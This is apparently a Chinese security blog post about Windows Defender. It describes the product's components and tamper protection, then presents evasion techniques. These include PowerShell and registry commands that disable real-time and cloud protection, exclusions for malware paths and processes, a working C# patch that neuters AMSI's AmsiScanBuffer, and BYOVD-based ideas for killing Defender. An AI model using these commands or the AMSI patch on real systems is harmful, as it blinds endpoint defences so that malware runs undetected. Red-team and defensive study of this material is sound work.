文章总结: 本文详细剖析WindowsDefender的架构、实时保护、云保护、篡改保护等核心机制,并系统介绍对抗技术包括禁用实时保护、添加排除项、终止进程、PatchAMSI等方法,为攻防双方提供深度技术参考。 综合评分: 85 文章分类: 终端安全,免杀,红队,内网渗透,恶意软件
Windows Defender对抗——攻破Windows内置防线
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年3月19日 08:31 广东
一、前言概述
Windows Defender(现称Microsoft Defender Antivirus)是Windows系统内置的反恶意软件解决方案,随着Windows 10的普及,它已成为最广泛部署的终端安全产品之一。
对于攻击者而言,Windows Defender往往是需要面对的第一道防线;对于防御者而言,理解Windows Defender的工作机制和潜在弱点,有助于更好地保护系统安全。
本文将深入分析Windows Defender的架构、保护机制,以及对抗技术,通过学习,读者将理解如何评估Windows Defender的安全性,以及如何构建更有效的防御措施。
二、相关内容
2.1 Windows Defender架构分析
2.1.1 组件架构
Windows Defender采用多层架构设计,从用户界面到内核层都有相应的组件:
用户界面层
- Windows Security应用
- 提供图形化管理界面
- 显示保护状态和威胁历史
服务层
- WinDefend Service(主服务)
- MsMpEng.exe(主进程)
- MpSvc.dll(服务DLL)
- 执行扫描和检测逻辑
驱动层
- WdFilter.sys(文件系统过滤驱动)
- 监控文件操作
- 实时保护核心
内核层
- WdBoot.sys(启动驱动)
- 早期启动保护
- 内核完整性保护
2.1.2 关键进程
MsMpEng.exe
- 主服务进程
- 执行扫描和检测
- 运行在SYSTEM权限
- 占用较多系统资源
MpCmdRun.exe
- 命令行工具
- 手动扫描和更新
- 用户态进程
NisSrv.exe
- 网络检测服务
- 网络流量监控
- 入侵检测功能
2.1.3 关键驱动
WdFilter.sys
- 文件系统过滤驱动
- 监控文件操作
- 实时保护核心
- 拦截恶意文件访问
WdBoot.sys
- 启动驱动
- 早期启动保护
- 内核完整性保护
- 防止内核被篡改
2.2 实时保护机制
2.2.1 保护功能
1. 实时保护(Real-time Protection)
- 文件访问监控
- 进程行为监控
- 注册表监控
- 行为启发式检测
2. 云保护(Cloud-delivered Protection)
- 快速样本提交
- 云端深度分析
- 威胁情报更新
- 零日威胁防护
3. 自动样本提交(Automatic Sample Submission)
- 可疑文件自动上传
- 帮助改进检测
- 可配置提交策略
4. 篡改保护(Tamper Protection)
- 防止禁用保护
- 防止修改设置
- 防止终止进程
- 内核层实现
2.2.2 检测技术
文件扫描
- 签名匹配:已知威胁特征
- 启发式分析:可疑行为模式
- 沙箱分析:动态行为检测
行为监控
- 进程注入检测
- 注册表修改监控
- 网络连接监控
- 异常行为识别
AMSI集成
- PowerShell脚本扫描
- VBS脚本扫描
- .NET程序集扫描
- JavaScript代码扫描
2.3 云端保护与样本提交
2.3.1 云保护工作流程
本地检测 → 云端查询 → 返回结果
↓ ↓
样本提交 → 深度分析 → 威胁情报更新
工作流程详解:
- 本地初步检测
- 快速签名匹配
- 启发式分析
- 行为检测
- 云端查询
- 文件哈希查询
- 威胁情报匹配
- 快速响应
- 样本提交
- 可疑文件上传
- 元数据收集
- 隐私保护
- 深度分析
- 沙箱执行
- 行为分析
- 机器学习
2.3.2 云保护配置
# 查看云保护状态
Get-MpPreference | Select-Object MAPSReporting
# 启用云保护
Set-MpPreference -MAPSReporting 2
# 禁用云保护(需要关闭篡改保护)
Set-MpPreference -MAPSReporting 0
2.3.3 样本提交配置
# 查看样本提交设置
Get-MpPreference | Select-Object SubmitSamplesConsent
# 禁用自动样本提交
Set-MpPreference -SubmitSamplesConsent 2
2.4 篡改保护机制
2.4.1 篡改保护功能
篡改保护是Windows Defender的重要安全特性,防止攻击者禁用或修改保护设置。
保护范围:
- 实时保护开关
- 云保护开关
- 自动样本提交
- 排除项设置
- 进程终止
实现层次:
- 内核层实现
- WdBoot.sys驱动
- 难以从用户态绕过
2.4.2 篡改保护状态
# 查看篡改保护状态
Get-MpComputerStatus | Select-Object IsTamperProtected
# 启用篡改保护(需要通过组策略或注册表)
# 注册表路径:
# HKLM\Software\Microsoft\Windows Defender\Features
# 值:TamperProtection = 1 (启用) / 0 (禁用)
2.4.3 绕过篡改保护
篡改保护在内核层实现,绕过难度较大:
1. BYOVD方法
- 加载漏洞驱动
- 在内核层修改配置
- 需要管理员权限
2. 早期启动
- 在WdBoot.sys加载前操作
- 需要物理访问或启动修改
- 实现复杂
3. 合法途径
- 使用组策略(需要域管理员)
- 使用注册表(需要先禁用篡改保护)
- 需要特定权限
2.5 Windows Defender对抗技术
2.5.1 禁用实时保护
方法1:PowerShell命令(需要管理员权限且篡改保护关闭)
# 禁用实时保护
Set-MpPreference -DisableRealtimeMonitoring $true
# 禁用所有保护
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
方法2:注册表修改
# 禁用实时保护
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force
方法3:组策略
路径:计算机配置 -> 管理模板 -> Windows组件 -> Microsoft Defender防病毒 -> 实时保护
设置:关闭实时保护 -> 已启用
2.5.2 添加排除项
# 添加路径排除
Add-MpPreference -ExclusionPath "C:\MaliciousFolder"
# 添加扩展名排除
Add-MpPreference -ExclusionExtension ".evil"
# 添加进程排除
Add-MpPreference -ExclusionProcess "malware.exe"
2.5.3 终止Windows Defender进程
用户态方法(通常被阻止):
# 尝试终止进程(通常失败)
Stop-Process -Name "MsMpEng" -Force
内核态方法(BYOVD):
使用漏洞驱动在内核层终止进程。
2.5.4 Patch AMSI
// C#示例:Patch AMSI
using System;
using System.Runtime.InteropServices;
publicclass AMSIPatch
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Patch()
{
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");
uint oldProtect;
VirtualProtect(addr, (UIntPtr)3, 0x40, out oldProtect);
byte[] patch = { 0x31, 0xC0, 0xC3 }; // xor eax, eax; ret
Marshal.Copy(patch, 0, addr, 3);
VirtualProtect(addr, (UIntPtr)3, oldProtect, out oldProtect);
}
}
2.6 实战工具:WinDefenderKiller
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《Windows Defender对抗——攻破Windows内置防线》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论